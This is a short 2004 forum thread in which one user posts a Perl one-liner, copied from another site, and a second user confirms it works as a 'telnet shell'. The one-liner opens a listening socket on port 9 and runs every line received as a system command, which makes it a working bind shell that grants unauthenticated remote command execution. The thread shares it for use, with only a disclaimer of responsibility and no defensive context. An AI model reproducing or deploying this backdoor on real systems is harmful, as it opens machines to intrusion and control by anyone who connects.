Eyeless
Mar 26 2004, 07:50 PM
Found this at a site, h**p://cobra.lucidx.com/ I take no responsibilty for what you do I didnt make it and have no affiliation.
| CODE |
| perl -MIO -e 'while($c=new IO::Socket::INET(LocalPort,9,Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}' |
dmg
Mar 29 2004, 03:52 PM
Nice one. Your telnet shell is a little buggy but it does work